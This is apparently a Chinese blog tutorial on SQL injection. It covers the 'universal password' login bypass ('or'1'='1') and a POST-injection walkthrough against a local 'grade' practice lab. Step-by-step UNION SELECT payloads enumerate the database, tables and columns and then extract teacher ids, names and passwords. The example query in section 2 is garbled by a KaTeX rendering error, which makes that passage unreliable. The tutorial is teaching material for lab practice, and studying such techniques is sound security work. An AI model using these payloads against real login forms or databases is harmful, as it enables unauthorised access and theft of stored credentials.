滲透測試——萬能密碼與POST注入

1.萬能密碼的原理

數據庫沒有對前端輸入的參數的合法性做過率,並且賬號和密碼 一起輸入,可以通過編寫惡意語句,將用戶與密碼的輸入結果判斷爲真,就實現了萬能密碼的登錄。

2.萬能密碼實例:

查詢語句select * from ‘.KaTeX parse error: Double superscript at position 21: …e.' where id=' '̲ and pass=' '; …t_name.’ where id=’ sdadaad’ and pass=’ ‘or’1’=‘1’;
由於SQL語句中邏輯運算符具有優先級:=的優先級>and,and的優先級>or
因此,此SQL語句在後臺解析時分成兩句:select * from ‘.$t_name.’ where id=’ sdadaad’ and pass=’ ’ 和 or’1’=‘1’
前面判斷爲真and假爲假,後面爲真,結果就爲真,就可以登錄成功了

3.POST注入的原理

post注入是通過對輸入框進行傳參,可以被帶入數據庫進行的查詢
注入的兩個條件:
1.用戶可以控制傳參
2.用戶輸入的語句被帶入數據庫進行查詢
3.對用戶輸入的數據沒有做合法性的判斷

4.POST注入實戰

對http://127.0.0.1/grade/頁面進行POST注入,查詢到用戶信息
環境:grade靶場
1.密碼框輸入’or’1’=‘1獲得一個正確的ID
在這裏插入圖片描述
2.在用戶框輸入3001’and1=1#(正確)和3001‘and1=2#(錯誤)判斷爲字符型
3.判斷字段數
3001’ order by 3#
4.判斷顯示位置
-3001’ union select 1,2,3#
在這裏插入圖片描述
5.查詢數據庫
-3001’ union select 1,database(),3#
在這裏插入圖片描述
6.查詢表名
-3001’ union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=‘grade’),3#

在這裏插入圖片描述
7.查詢字段
-3001’ union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=‘grade’ and table_name=‘teachers’),3#
在這裏插入圖片描述

8.查詢數據
-3001’ union select 1,(select group_concat(id,name,pass) from grade.teachers),3#
在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章